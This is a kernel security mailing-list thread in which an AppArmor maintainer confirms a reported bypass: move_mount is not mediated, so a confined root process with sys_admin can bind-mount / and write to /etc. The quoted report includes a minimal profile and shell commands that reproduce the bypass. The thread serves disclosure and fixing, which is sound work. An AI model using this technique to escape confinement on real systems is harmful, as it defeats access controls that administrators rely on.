[apparmor] move_mount not handled by AppArmor completely subverts security

[John Johansen]

On 9/5/23 07:42, Andreas Steinmetz wrote:
> Tested with kernel 6.4.12-arch1-1
> 
> AppArmor seemingly doesn't handle the move_mount system call. Thus

correct,
commit 2db154b3ea8e ("vfs: syscall: Add move_mount(2) to move mounts around")

added the move_mount syscall and a new LSM hook, but did not provide
even stub implementations to existing LSMs, introducing a regression
in all LSMs implementing mount mediation.

Unfortunately a fix has not landed in apparmor.

> only CAP_SYS_ADMIN is required to bind mount any directory anywhere.

correct. It requires cap_sys_admin in the capability set, and the
profile. Unfortunately if relying on mount mitigations in the profile
this is a by-pass


> This allows to completely subvert security including e.g. rootkit
> installation for a process that actually should be confined by an
> enforced AppArmor policy.
> 
correct. Though it is mitigated to a degree by requiring cap_sys_admin
within the profile.

> Simple policy that should deny mounts and prevent system modification:
> 
> abi <abi/3.0>,
> profile minimal {
>   capability sys_admin,
>   /bin/bash mr,
>   /etc/** mrlk,
>   /mnt/** mrwlk,
>   /usr/** mrlkix,
>   /proc/*/attr/apparmor/current r,
> }
> 
> The following test then run as root:
> 
> [root /]# aa-exec -p minimal /bin/bash
> bash: /dev/null: Permission denied
> bash: /root/.bashrc: Permission denied
> [root /]# cat /proc/self/attr/apparmor/current
> minimal (enforce)
> [root /]# ls -l /etc/malicious_software
> ls: cannot access '/etc/malicious_software': No such file or directory
> [root /]# touch /etc/malicious_software
> touch: cannot touch '/etc/malicious_software': Permission denied
> [root /]# mount --bind / /mnt
> [root /]# touch /mnt/etc/malicious_software
> [root /]# ls -l /etc/malicious_software
> -rw-r--r-- 1 root root 0 Sep  5 16:27 /etc/malicious_software
> [root /]#
> 
> This test case is very legitimate as it shows that the MAC enforcement
> by AppArmor is completely bypassed, resulting is standard DAC access
> control, which is not supposed to happen, especially as the enforced
> profile does not allow for any mount operation.
> 
correct

> Probably the whole set of system calls mentioned in
> https://lwn.net/Articles/759499/ is probably not handled and thus
> affected.
> 

yes and no - there is certainly a need for additional mediation on
them. I need to dig deeper to establish exactly what needs to be
done.

I will reply to this with a first pass at addressing move_mount.